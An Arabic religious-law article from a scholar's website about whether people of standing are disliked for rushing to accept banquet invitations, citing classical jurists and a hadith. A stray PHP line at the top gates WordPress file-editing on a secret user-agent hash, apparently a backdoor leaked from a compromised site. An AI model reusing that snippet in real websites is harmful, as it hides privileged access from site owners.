if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } حكم التسرع لإجابة الوليمة - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

حكم التسرع لإجابة الوليمة

(وَيُكْرَهُ لِأَهْلِ المُرُوْءَاتِ وَالفَضَائِلِ التَسَرُّعُ إِلَى إِجَابَةِ الطَّعَامِ، وَالتَسَامُحُ بحُضُوْرُ الوَلَائِمِ غَيْرِ الشَّرْعِيَّةِ؛ فَإِنَّهُ يُوْرِثُ دَنَاءَةً وَإِسْقَاطَ الهَيْبَةِ مِنْ صُدُوْرِ النَّاسِ) هذا الكلام تناقله أهل العلم، تناقله ابن مفلح عن ابن عقيل بنصه، ونقله ابن دقيق العيد في شرح العمدة بنصه، وهذا يحتاج إلى تفصل، فإنه رحمه الله ذكر أنه (يُكْرَهُ لِأَهْلِ المُرُوْءَاتِ وَالفَضَائِلِ التَسَـرُّعُ إِلَى إِجَابَةِ الطَّعَامِ، وَالتَسَامُحُ بحُضُوْرُ الوَلَائِمِ غَيْرِ الشَّرْعِيَّةِ) إذن عندنا موضوعان: حضور الولائم غير الشرعية، نقول: هذا لا ينبغي لأهل العلم ولا الفضل أن يحضروا بل هذا منكر، كأن يقيم بعض الناس وليمة للمولد أو احتفالًا بمولد أحد أولادهم أو نحو ذلك من المنكرات، فإنا نقول: لا تُجاب دعوته ولا طلبته لكن هو عمم بذلك، فقال: (يُكْرَهُ لِأَهْلِ المُرُوْءَاتِ وَالفَضَائِلِ التَسَرُّعُ إِلَى إِجَابَةِ الطَّعَامِ) ثم قال: (وَالتَسَامُحُ بحُضُوْرُ الوَلَائِمِ غَيْرِ الشَّرْعِيَّةِ) ثم علل بقوله: (فَإِنَّهُ يُوْرِثُ دَنَاءَةً وَإِسْقَاطَ الهَيْبَةِ مِنْ صُدُوْرِ النَّاسِ) نقول: أما إذا كان في الولائم غير الشرعية فهو على ما قال، وأما الولائم الشرعية فإجابتها من الدين ومن حق المسلم على أخيه ولعل كلامه رحمه الله يُحمل على الولائم غير الشرعية أو إذا كثُرت عند بعض أهل العلم، يقول: إذا كثُرت حتى الولائم الشرعية لا ينبغي لطلاب العلم وأهل المروءات والفضائل أن يكونوا أول الحاضرين وأن يكونوا أول المستجيبين وأن يُروا كل يوم في هذه الصالات والمناسبات، نقول: حتى لو حصل هذا وكان هذا صاحب الفضل كلٌ يريد دعوته ويفرح الناس بمقدمه وربما أتاحوا له مع الحضور كلمة يوجه الناس بها ونحو ذلك، نقول: لا حرج، فالكراهة تحتاج إلى دليلٍ شرعي، ومن حق المسلم على أخيه أن يُجيب دعوته.

قد نقل ابن مفلح رحمه الله ذلك عن ابن عقيل، وقال ابن دقيق العيد في شرح العمدة: وفي ذلك نظر، لما أورد هذا الكلام قال: وفي ذلك نظر، ما هو النظر؟ قال الصنعاني رحمه الله في حاشيته على شرح ابن دقيق: لعل وجهة النظر أن أعلى من بلغ درجات الفضل والإجلال والتقدير والاحترام، نبينا صلى الله عليه وسلم ومع هذا كان يجيب الدعوة ويقول: «ولو دُعيت إلى كراعٍ أو ذراعٍ لأجبت»[1] هذا تنبيه دقيق من الصنعاني رحمه الله، يقول: إن هذا الكلام فيه نظر يعني الكراهة لأهل المروءة والفضل الحضور وإجابة الدعوات، يقول: في هذا نظر من حيث أن من بلغ أعلى الدرجات في الفضل والجلال والتقدير والاحترام، النبي صلى الله عليه وسلم كان يجيب الدعوة، ويقول: «ولو دُعيت إلى كراعٍ أو ذراعٍ لأجبت»، فالصحيح أن الولائم غير الشرعية هي التي ينبغي الترفع عن حضورها لأن في حضورها إقرارًا لها وإذا حضرها العالم وصاحب الفضل وصاحب العلم فإن الناس يقولون هذا جائز مباح، دُعي إلى حفل ميلاد فحضر، نقول: هذا منكر، كيف تحضر؟! هذا منكرٌ عظيمٌ، الدعوة في نفسها منكر، وكذلك الدعوات التي يكون فيها مثل الاحتفال بعيد رأس السنة للنصارى أو الحفلات التي يكون فيها شيءٌ من الاختلاط والتبرج والسفور، أو الدعوات التي يكون فيها الخمر يُدار على الموائد، نقول: كل هذه منكرات، فلا يحل لأهل الإسلام عامةً ولأهل الفضل والمروءة خاصة من العلماء والدعاة وطلاب العلم الحضور، أما الولائم الشرعية فإنه لا حرج في حضورها ولا يقلل من هيبة العالم ولا ينقص من قدره أن يُجيب بل يوصف بأنه شيخ عامة وأنه لا يترفع عن العامة بل يحضر مناسباتهم ويفرح لهم ويشاركهم أفراحهم وأتراحهم.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه البخاري (2568) بلفظ: «لَوْ دُعِيتُ إلى ذِراعٍ أوْ كُراعٍ لَأَجَبْتُ».